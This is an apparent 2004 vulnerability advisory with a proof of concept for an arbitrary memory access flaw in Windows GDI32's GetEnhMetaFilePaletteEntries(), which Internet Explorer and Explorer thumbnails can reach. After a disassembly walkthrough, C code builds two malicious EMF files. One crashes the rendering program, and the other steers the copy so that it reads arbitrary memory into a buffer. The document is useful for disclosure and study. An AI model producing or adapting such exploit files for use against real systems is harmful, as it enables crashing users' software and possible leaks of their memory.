Enhanced Meta File arbitrary memory access vulnerability - proof of concept
/* ----------------------------------------------------------------------------- | |
* Enhanced Meta File arbitrary memory access vulnerability | |
* Revision 0.1, Yorick Koster, November 5th, 2004 | |
* ----------------------------------------------------------------------------- | |
* Summary: | |
* --------- | |
* An memory access flaw has been discovered in the | |
* GetEnhMetaFilePaletteEntries() [1] function. This flaw can be used to crash | |
* programs that call this function. Furthermore, it is also possible to copy | |
* arbitrary parts of memory into a buffer that is passed to the | |
* GetEnhMetaFilePaletteEntries() function (lppe). | |
* | |
* This function is called from within mshtml.dll and is used by Windows | |
* Explorer and Internet Explorer. The buffer overflow can be trigger using the | |
* view -> thumbnails option from the Explorer menu or it can be trigger using | |
* the IMG tag in an HTML page. | |
* | |
* This issue has been tested on fully patched (October 2004) Windows 2000 SP4 | |
* running Internet Explorer 6.0 SP1. | |
* ----------------------------------------------------------------------------- | |
* Details: | |
* --------- | |
* Whenever (Internet) Explorer has to render an EMF file, it loads the file | |
* into memory. The EMF file is referenced by a handle. This handle is used to | |
* in several MetaFile functions including GetEnhMetaFilePaletteEntries(). This | |
* function is called from within mshtml.dll. The following dump, which has been | |
* taken using OllyDbg attached to Internet Explorer running on Windows 2000 | |
* SP4, shows how this function is called: | |
* | |
* 637CBCF8 . 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60] | |
* 637CBCFB . 50 PUSH EAX | |
* 637CBCFC . BE 00010000 MOV ESI,100 | |
* 637CBD01 . 56 PUSH ESI | |
* 637CBD02 . FF75 60 PUSH DWORD PTR SS:[EBP+60] | |
* 637CBD05 . FF15 54105863 CALL DWORD PTR DS:[<&GDI32.GetEnhMetaFilePaletteEntries>] | |
* | |
* First, the address of the buffer that is used to store the palette | |
* information is loaded into EAX and pushed on the stack. This buffer is a | |
* fixed size. Then 100h (256) is pushed on the stack, this value specifies | |
* the maximum number of palette entries that can be stored in the buffer. | |
* Finally, the handle to the EMF file, which was just loaded into memory is | |
* pushed onto the stack and the GetEnhMetaFilePaletteEntries() function is | |
* called. | |
* | |
* The GetEnhMetaFilePaletteEntries() funcion is located in GDI32.dll. This | |
* function is located at address 77F68CC7h in Internet Explorer (Windows 2000). | |
* The function first performs some basic verification on its parameters. | |
* A pointer to the EMF fike is loaded into ECX using the following instruction: | |
* | |
* 77F68CF0 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C] | |
* | |
* After this the nPalEntries (ECX + 44h) is compared with the maximum number of | |
* palette entries that was supplied to the GetEnhMetaFilePaletteEntries() | |
* function. If nPalEntries is greater than the maximum number of palette | |
* entries (256), then this number is used when copying the palette entries into | |
* the buffer. Thus the maximum number of palette entries is allways limited to | |
* 256. This can be observed in the following piece of code: | |
* | |
* 77F68CF3 8B41 44 MOV EAX,DWORD PTR DS:[ECX+44] | |
* 77F68CF6 394424 10 CMP DWORD PTR SS:[ESP+10],EAX | |
* 77F68CFA 73 04 JNB SHORT GDI32.77F68D00 | |
* 77F68CFC 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] | |
* | |
* The GetEnhMetaFilePaletteEntries() function then tries to determine the | |
* location of the palette entries. First, the end of the EMF file is calculated | |
* by adding the value of nBytes (ECX + 30h) to the EMF pointer (ECX): | |
* | |
* 77F68D00 8B51 30 MOV EDX,DWORD PTR DS:[ECX+30] | |
* 77F68D03 03D1 ADD EDX,ECX | |
* | |
* The last 4 bytes of the EMF file (EDX - 4h) are then substracted from the end | |
* of the EMF file (EDX). This value is used as the start of the palette entries. | |
* The function tries to store the value from EDX + Ch in ESI. This address is | |
* determined from the EMF file and can thus be set to any value. If EDX + Ch | |
* points to an invalid address, an access violation will occur, crashing the | |
* program that called GetEnhMetaFilePaletteEntries(): | |
* | |
* 77F68D07 2B52 FC SUB EDX,DWORD PTR DS:[EDX-4] | |
* 77F68D0A 8B72 0C MOV ESI,DWORD PTR DS:[EDX+C] | |
* | |
* The function continues when ECX + Ch points to a valid address. The value at | |
* this address is stored and the end of the EMF file (EDX) is added to ESI. | |
* The address in ESI is used to copy upto 256 palette entries into the buffer | |
* that was supplied to the GetEnhMetaFilePaletteEntries() function (EDI). By | |
* carefully crafting and EMF file, it is possible to load any address into ESI | |
* and cause the data located at this address to be copied into the supplied | |
* buffer. | |
* | |
* 77F68D0D 03F2 ADD ESI,EDX | |
* 77F68D0F F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] | |
* | |
* If an attacker can somehow manage to retrieve this data, for example when the | |
* user saves the image and the palette entries are also stored in this image, | |
* it may be possible to obtained sensitive information from the target's | |
* memory. Note that the attacker als has to find a way to cause the data to be | |
* send back to the attacker. This may be done automatically, or the attacker | |
* has to use some sort of social engineering. This scenario has not yet been | |
* researched and is therefore just a theoretical exploit scenario. | |
* ----------------------------------------------------------------------------- | |
* Proof of concept: | |
* ------------------ | |
* This code creates two EMF files. One EMF file triggers an access violation. | |
* The other EMF file demonstrates how an attacker can access arbitrary memory | |
* regions. This example cause the GetEnhMetaFilePaletteEntries() function to | |
* copy parts of the EMF header in to the palette entries buffer (lppe). While | |
* this isn't really a usefull example, it demonstrates how to set EDX & ESI to | |
* arbitrary memory addresses (this can be seen using a debugger, set break on | |
* address 77F68D0Fh). | |
* ----------------------------------------------------------------------------- | |
* Conclusion: | |
* ------------ | |
* Currently, it is only possible to trigger a denial of service condition. | |
* However, there is a theoretical possibility, that an attacker may be able to | |
* retrieve sensitive information from target users. | |
* | |
* Crashing client applications isn't really a threat. If someone is able to | |
* crash Internet Explorer, this will only annoy users. Therefore, these users | |
* will avoid web sites that crashes their browser. | |
* ----------------------------------------------------------------------------- | |
* References: | |
* ------------ | |
* [1] http://msdn.microsoft.com/library/en-us/gdi/metafile_19o3.asp | |
* ----------------------------------------------------------------------------- | |
*/ | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <windows.h> | |
int main(int argc, char *argv[]) | |
{ | |
int fd; | |
ENHMETAHEADER hEMF; | |
DWORD i; | |
DWORD data; | |
// clear EMF header | |
ZeroMemory(&hEMF, sizeof(ENHMETAHEADER)); | |
// default values | |
hEMF.iType = EMR_HEADER; | |
hEMF.dSignature = ENHMETA_SIGNATURE; | |
hEMF.nVersion = 0x10000; | |
// any arbitrary value will do | |
hEMF.nHandles = 0x1; | |
// Note I am lazy, everything is stored in the EMF header | |
/**** crash.emf, causes an access violation ****/ | |
hEMF.nSize = sizeof(ENHMETAHEADER) + 4; | |
hEMF.nBytes = hEMF.nSize; | |
fd = open("crash.emf", O_CREAT | O_WRONLY | O_TRUNC); | |
if(fd < 0) | |
{ | |
printf("Couldn't create file crash.emf!\n"); | |
return 1; | |
} | |
// write the header | |
write(fd, &hEMF, sizeof(ENHMETAHEADER)); | |
// trigger an access violation | |
// SUB EDX,DWORD PTR DS:[EDX-4] | |
data = 0x00FF0000; | |
write(fd, &data, sizeof(DWORD)); | |
close(fd); | |
/**** end crash.emf ****/ | |
/**** memcopy.emf, copy arbitray memory regions ****/ | |
hEMF.nSize = sizeof(ENHMETAHEADER) + 1044; | |
hEMF.nBytes = hEMF.nSize; | |
// copy 256 palette entries (max) | |
hEMF.nPalEntries = 256; | |
fd = open("memcopy.emf", O_CREAT | O_WRONLY | O_TRUNC); | |
if(fd < 0) | |
{ | |
printf("Couldn't create file memcopy.emf!\n"); | |
return 1; | |
} | |
// write the header | |
write(fd, &hEMF, sizeof(ENHMETAHEADER)); | |
// pad | |
data = 0xDEADCAFE; | |
write(fd, &data, sizeof(DWORD)); | |
write(fd, &data, sizeof(DWORD)); | |
write(fd, &data, sizeof(DWORD)); | |
// * step 2 * set ESI | |
// MOV ESI,DWORD PTR DS:[EDX+C] | |
// ADD ESI,EDX | |
data = 16; | |
write(fd, &data, sizeof(DWORD)); | |
// This data will get copied | |
data = 0x44444444; | |
for(i = 0; i < hEMF.nPalEntries; i++) | |
{ | |
write(fd, &data, sizeof(DWORD)); | |
} | |
// * step 1 * set EDX | |
// SUB EDX,DWORD PTR DS:[EDX-4] | |
data = hEMF.nBytes - sizeof(ENHMETAHEADER); | |
write(fd, &data, sizeof(DWORD)); | |
close(fd); | |
/**** end memcopy.emf ****/ | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment